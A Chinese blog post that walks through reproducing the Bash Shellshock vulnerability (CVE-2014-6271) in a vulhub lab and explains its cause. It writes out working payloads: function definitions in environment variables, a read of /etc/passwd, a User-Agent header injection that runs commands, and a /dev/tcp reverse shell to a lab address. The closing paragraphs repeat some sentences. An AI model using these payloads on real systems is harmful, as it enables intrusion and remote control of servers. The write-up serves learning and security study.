本文已参与 「新人创作礼」 活动,一起开启掘金创作之路。
Bash Shellshock 破壳漏洞(CVE-2014-6271)
ref:blog.csdn.net/m0_62008601…
漏洞简介
破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务,如一些网络服务器部署,使用bash来处理某些请求,允许攻击者导致脆弱的bash版本执行任意命令。这可以让攻击者获得对计算机系统的未授权访问。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行.
GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。
影响范围
由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。
漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等
漏洞原理
该Bash使用的环境变量是通过函数名称来调用的,导致漏洞是以(){开头定义的环境变量在命令env中解析成函数后,bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
复现过程
首先进入vulhub环境,找到bash下的shellshock并启用
cd bash/CVE-2014-6271
docker-compose up -d
进入环境192.11.23.2:8080
进入容器,查看bash版本,并测试bash的环境变量,能否执行函数命令。
1.进入容器
docker-compose exec web bash
2.查看bash版本
/bin/bash -version
3.bash写入脚本
env x=‘() { :;}; echo shellshocker’ bash -c “echo tom”
# tip:如果提示'('出现问题,可能是linux5.0后使用'('需要进行转译,可以采用加\或者“
# 这边新版靶场直接命令原样输出了,按照下面本地测试方式测试就行了。
本地测试
- 变量测试
1.添加变量
kinnisoy="hello"
2.显示变量
echo $kinnisoy
我们使用export命令将其设置为环境变量后,可在新的终端中,也能使用该变量。
export kinnisoy="hello"
bash
echo $kinnisoy
可以看到,在新的终端中,该环境变量仍然有效!
-
函数测试
这个时候我们设置一个函数作为环境变量
x(){ echo "test"; }
可以看到子进程中也能成功执行该函数,这时候我们改变一点点。
export kinnisoy='() { cat /etc/passwd;}'
注意:
()和{之间有空格
可以看到我们创建的字符串变量被设置成环境变量后在子进程解释成了函数执行,成功读取了 /etc/passwd
所以触发并利用破壳漏洞的所需要的几点:
- 被攻击的bash存在漏洞(版本小于等于4.3)
- 攻击者可以控制环境变量
- 新的bash进程被打开触发漏洞并执行命令
从上面的分析中可以看出,漏洞的根本原因存在于Bash的ENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果要达到远程代码执行的目的,必须借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。
反弹shell
访问两个文件http://192.11.23.2:8080/victim.cgi、http://192.11.23.2:8080/safe.cgi
新版vulhub的靶场,这里面权限不足无法访问,需要修改权限777就可以访问到了。(具体查看)
然后将两个页面的请求数据包捕获后,修改请求头字段:
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
safe.cgi命令不会执行:
victim.cgi可执行命令:
修改命令为反弹shell的命令:
/bin/bash -i >& /dev/tcp/192.11.23.28/7777 0>&1
最终payload:
() { :; }; echo; /bin/bash -i >& /dev/tcp/192.11.23.28/7777 0>&1
成功getshell!!!
-
一点思考
但是我们在
victim.cgi文件里面并没有看到调用环境变量,我们从User-agent里面打过去的payload为什么就生效了
CGI脚本会继承系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。
当一个CGI脚本未被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制,当这个CGI脚本被HTTP服务器调用时,它的环境变量就会增加关于HTTP服务器,客户端,CGI传输过程等条目
也就是说,每当CGI脚本接收到一次HTTP请求,它的环境变量就会新增一些条目,比如User-agent,Connection等信息
所以这里我们通过修改User-Agent来修改CGI环境变量
- 漏洞利用场景
- 程序在某一时刻使用 bash 作为脚本解释器处理环境变量赋值 传输过程等条目
也就是说,每当CGI脚本接收到一次HTTP请求,它的环境变量就会新增一些条目,比如User-agent,Connection等信息
所以这里我们通过修改User-Agent来修改CGI环境变量
- 漏洞利用场景
- 程序在某一时刻使用 bash 作为脚本解释器处理环境变量赋值
- 环境变量的赋值字符串来源于用户输入 , 且没有通过有效的过滤